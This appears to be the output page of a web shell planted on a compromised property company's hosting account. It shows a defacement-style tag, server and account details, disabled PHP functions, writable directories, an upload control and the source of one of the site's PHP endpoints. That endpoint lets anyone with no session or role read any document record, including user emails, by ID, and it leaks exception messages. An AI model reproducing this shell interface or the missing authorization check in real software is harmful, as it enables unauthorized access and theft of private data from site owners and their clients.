Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/ajax_get_document_details.php
<?php
session_start();
require_once 'includes/db.php';
require_once 'includes/functions.php';

header('Content-Type: application/json');

if (!isset($_GET['id'])) {
    echo json_encode(['success' => false, 'error' => 'No ID provided']);
    exit;
}

$doc_id = $_GET['id'];
$user_id = $_SESSION['user_id'];
$user_role = $_SESSION['user_role'];

try {
    // 1. Fetch Document Details
    $query = "SELECT d.*, 
                     u.name as user_name, u.email as user_email,
                     p.title as property_title, p.property_code, p.id as property_id,
                     uploader.name as uploader_name
              FROM documents d 
              LEFT JOIN users u ON d.user_id = u.id 
              LEFT JOIN properties p ON d.property_id = p.id
              LEFT JOIN users uploader ON d.uploaded_by = uploader.id
              WHERE d.id = ?";
    
    // Check permissions
    if (in_array($user_role, ['client', 'agent', 'sales_agent'])) {
        $query .= " AND (d.user_id = ? OR d.uploaded_by = ?)";
        $params = [$doc_id, $user_id, $user_id];
    } else {
        $params = [$doc_id];
    }

    $stmt = $pdo->prepare($query);
    $stmt->execute($params);
    $doc = $stmt->fetch(PDO::FETCH_ASSOC);

    if (!$doc) {
        echo json_encode(['success' => false, 'error' => 'Document not found or permission denied']);
        exit;
    }

    // 2. Fetch Version History
    $stmt = $pdo->prepare("SELECT v.*, u.name as created_by_name 
                           FROM document_versions v 
                           LEFT JOIN users u ON v.created_by = u.id 
                           WHERE v.document_id = ? 
                           ORDER BY v.version_number DESC");
    $stmt->execute([$doc_id]);
    $versions = $stmt->fetchAll(PDO::FETCH_ASSOC);

    // 3. Mock Activity Log (or fetch from audit_logs if specific to doc)
    // For now, we'll just use versions as history, plus creation
    $history = [];
    foreach ($versions as $v) {
        $history[] = [
            'action' => 'New Version v' . $v['version_number'],
            'user' => $v['created_by_name'],
            'date' => $v['created_at'],
            'note' => $v['changelog']
        ];
    }
    // Add initial creation if not covered (though v1.0 usually covers it)

    echo json_encode([
        'success' => true,
        'document' => $doc,
        'versions' => $versions,
        'history' => $history
    ]);

} catch (Exception $e) {
    echo json_encode(['success' => false, 'error' => $e->getMessage()]);
}

Hry